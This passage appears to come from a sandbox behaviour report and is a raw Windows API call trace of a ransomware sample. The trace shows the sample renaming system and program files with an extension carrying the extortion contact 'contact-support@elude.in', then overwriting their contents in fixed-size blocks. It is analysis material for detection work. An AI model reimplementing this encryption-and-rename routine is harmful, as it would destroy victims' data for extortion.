(in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e6188 | out: hHeap=0x630000) returned 1 [0100.418] GetProcessHeap () returned 0x630000 [0100.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0100.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.418] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x1cc22a0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa09c, dwReserved0=0xdd07496, dwReserved1=0x70e6180, cFileName="SplashScreen.bmp.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~1.FIR")) returned 0x6d5280 [0100.418] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0100.418] Sleep (dwMilliseconds=0x1) [0101.386] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Boot\\Fonts\\segoe_slboot.ttf", len=0x1e | out: pbstr=0x2ffff7c*="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 1 [0101.386] GetProcessHeap () returned 0x630000 [0101.386] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679330, Size=0x40) returned 0x6fefde8 [0101.387] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.333] Sleep (dwMilliseconds=0x1) [0102.353] Sleep (dwMilliseconds=0x1) [0102.378] Sleep (dwMilliseconds=0x1) [0102.398] Sleep (dwMilliseconds=0x1) [0102.429] Sleep (dwMilliseconds=0x1) [0102.460] Sleep (dwMilliseconds=0x1) [0102.473] Sleep (dwMilliseconds=0x1) [0102.490] Sleep (dwMilliseconds=0x1) [0102.504] Sleep (dwMilliseconds=0x1) [0102.521] Sleep (dwMilliseconds=0x1) [0102.537] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Boot\\memtest.exe", len=0x13 | out: pbstr=0x2ffff7c*="C:\\Boot\\memtest.exe") returned 1 [0102.537] GetProcessHeap () returned 0x630000 [0102.537] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1250, Size=0xc) returned 0x6b1208 [0102.538] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.538] Sleep (dwMilliseconds=0x1) [0102.557] Sleep (dwMilliseconds=0x1) [0102.569] Sleep (dwMilliseconds=0x1) [0102.583] Sleep (dwMilliseconds=0x1) [0102.600] Sleep (dwMilliseconds=0x1) [0102.614] Sleep (dwMilliseconds=0x1) [0102.632] Sleep (dwMilliseconds=0x1) [0102.662] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.753] Sleep (dwMilliseconds=0x1) [0102.771] Sleep (dwMilliseconds=0x1) [0102.786] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Boot\\pt-BR\\memtest.exe.mui", len=0x1d | out: pbstr=0x2ffff7c*="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 1 [0102.786] GetProcessHeap () returned 0x630000 [0102.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1220 | out: hHeap=0x630000) returned 1 [0102.786] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.786] Sleep (dwMilliseconds=0x1) [0102.807] Sleep (dwMilliseconds=0x1) [0102.817] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Boot\\ru-RU\\memtest.exe.mui", len=0x1d | out: pbstr=0x2ffff7c*="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 1 [0102.817] GetProcessHeap () returned 0x630000 [0102.817] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b12f8 | out: hHeap=0x630000) returned 1 [0102.817] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.817] Sleep (dwMilliseconds=0x1) [0102.885] Sleep (dwMilliseconds=0x1) [0102.899] Sleep (dwMilliseconds=0x1) [0102.929] Sleep (dwMilliseconds=0x1) [0102.942] Sleep (dwMilliseconds=0x1) [0102.959] Sleep (dwMilliseconds=0x1) [0102.973] Sleep (dwMilliseconds=0x1) [0102.990] Sleep (dwMilliseconds=0x1) [0103.004] Sleep (dwMilliseconds=0x1) [0103.021] Sleep (dwMilliseconds=0x1) [0103.087] Sleep (dwMilliseconds=0x1) [0103.099] Sleep (dwMilliseconds=0x1) [0103.113] Sleep (dwMilliseconds=0x1) [0103.131] Sleep (dwMilliseconds=0x1) [0103.149] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", len=0x22 | out: pbstr=0x2ffff7c*="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 1 [0103.149] GetProcessHeap () returned 0x630000 [0103.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1388 | out: hHeap=0x630000) returned 1 [0103.149] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.149] Sleep (dwMilliseconds=0x1) [0103.167] Sleep (dwMilliseconds=0x1) [0103.181] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Boot\\updaterevokesipolicy.p7b", len=0x20 | out: pbstr=0x2ffff7c*="C:\\Boot\\updaterevokesipolicy.p7b") returned 1 [0103.181] GetProcessHeap () returned 0x630000 [0103.181] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1220 | out: hHeap=0x630000) returned 1 [0103.182] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.184] Sleep (dwMilliseconds=0x1) [0103.192] Sleep (dwMilliseconds=0x1) [0103.210] Sleep (dwMilliseconds=0x1) [0103.223] Sleep (dwMilliseconds=0x1) [0103.240] Sleep (dwMilliseconds=0x1) [0103.264] Sleep (dwMilliseconds=0x1) [0103.272] Sleep (dwMilliseconds=0x1) [0103.292] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Boot\\zh-TW\\memtest.exe.mui", len=0x1d | out: pbstr=0x2ffff7c*="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 1 [0103.292] GetProcessHeap () returned 0x630000 [0103.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1208 | out: hHeap=0x630000) returned 1 [0103.292] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.292] Sleep (dwMilliseconds=0x1) [0103.303] Sleep (dwMilliseconds=0x1) [0103.317] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", len=0x56 | out: pbstr=0x2ffff7c*="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 1 [0103.317] GetProcessHeap () returned 0x630000 [0103.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9198, Size=0x18) returned 0x6b04f8 [0103.317] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0103.407] CloseHandle (hObject=0x680) returned 1 [0103.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.407] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.447] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x12, dwReserved1=0xfffffffd, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~2.FIR")) returned 0x6d5240 [0103.447] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0103.448] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0103.448] GetProcessHeap () returned 0x630000 [0103.448] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d68a8 [0103.448] GetProcessHeap () returned 0x630000 [0103.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71e1cd8 [0103.449] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.449] ReadFile (in: hFile=0x680, lpBuffer=0x71d68a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d68a8*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.428] GetProcessHeap () returned 0x630000 [0110.428] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0110.428] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.428] WriteFile (in: hFile=0x680, lpBuffer=0x71e1cd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e1cd8*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.428] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.428] WriteFile (in: hFile=0x680, lpBuffer=0x71ed0d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ed0d7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0110.429] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.429] WriteFile (in: hFile=0x680, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0110.429] CloseHandle (hObject=0x680) returned 1 [0110.430] GetProcessHeap () returned 0x630000 [0110.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e1cd8 | out: hHeap=0x630000) returned 1 [0110.430] GetProcessHeap () returned 0x630000 [0110.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d68a8 | out: hHeap=0x630000) returned 1 [0110.434] GetProcessHeap () returned 0x630000 [0110.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0110.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0110.434] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7c455e0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xdd07496, dwReserved1=0x71d68a0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~2.FIR")) returned 0x6d4e40 [0110.435] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0110.435] Sleep (dwMilliseconds=0x1) [0112.329] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", len=0x56 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 1 [0112.329] GetProcessHeap () returned 0x630000 [0112.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefba8, Size=0x38) returned 0x6d51c0 [0112.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.330] Sleep (dwMilliseconds=0x1) [0112.333] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", len=0x4e | out: pbstr=0x2ffff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0112.333] GetProcessHeap () returned 0x630000 [0112.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x34) returned 0x6d4f00 [0112.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.335] Sleep (dwMilliseconds=0x1) [0112.349] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", len=0x45 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 1 [0112.350] GetProcessHeap () returned 0x630000 [0112.350] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x20) returned 0x6e9080 [0112.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.353] Sleep (dwMilliseconds=0x1) [0112.371] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe", len=0x49 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 1 [0112.371] GetProcessHeap () returned 0x630000 [0112.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b13b8 | out: hHeap=0x630000) returned 1 [0112.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0112.371] CloseHandle (hObject=0x6f8) returned 1 [0112.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0112.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVCL~1.FIR")) returned 0x6d5580 [0112.372] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0112.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0112.372] GetProcessHeap () returned 0x630000 [0112.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ffcc70 [0112.373] GetProcessHeap () returned 0x630000 [0112.373] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d508 [0112.373] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.373] ReadFile (in: hFile=0x6f8, lpBuffer=0x6ffcc70, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffcc70*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0115.355] GetProcessHeap () returned 0x630000 [0115.355] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0115.357] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.357] WriteFile (in: hFile=0x6f8, lpBuffer=0x70d508*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d508*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0115.357] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.357] WriteFile (in: hFile=0x6f8, lpBuffer=0x718907*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x718907*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0115.359] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.359] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0115.359] CloseHandle (hObject=0x6f8) returned 1 [0115.758] GetProcessHeap () returned 0x630000 [0115.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d508 | out: hHeap=0x630000) returned 1 [0115.758] GetProcessHeap () returned 0x630000 [0115.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ffcc70 | out: hHeap=0x630000) returned 1 [0115.761] GetProcessHeap () returned 0x630000 [0115.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0115.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaf1675d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f5afc, dwReserved0=0xdd07496, dwReserved1=0x6ffcc68, cFileName="appvcleaner.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVCL~1.FIR")) returned 0x6d4f80 [0115.761] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0115.761] Sleep (dwMilliseconds=0x1) [0117.156] Sleep (dwMilliseconds=0x1) [0117.168] Sleep (dwMilliseconds=0x1) [0117.186] Sleep (dwMilliseconds=0x1) [0117.561] Sleep (dwMilliseconds=0x1) [0117.657] Sleep (dwMilliseconds=0x1) [0117.677] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.701] Sleep (dwMilliseconds=0x1) [0117.720] Sleep (dwMilliseconds=0x1) [0118.718] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", len=0x34 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 1 [0118.718] GetProcessHeap () returned 0x630000 [0118.718] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64f898, Size=0xa4) returned 0x64ead8 [0118.718] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0118.720] CloseHandle (hObject=0x6cc) returned 1 [0118.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.721] FindFirstFileW (in: lpFileName="C:\\Program 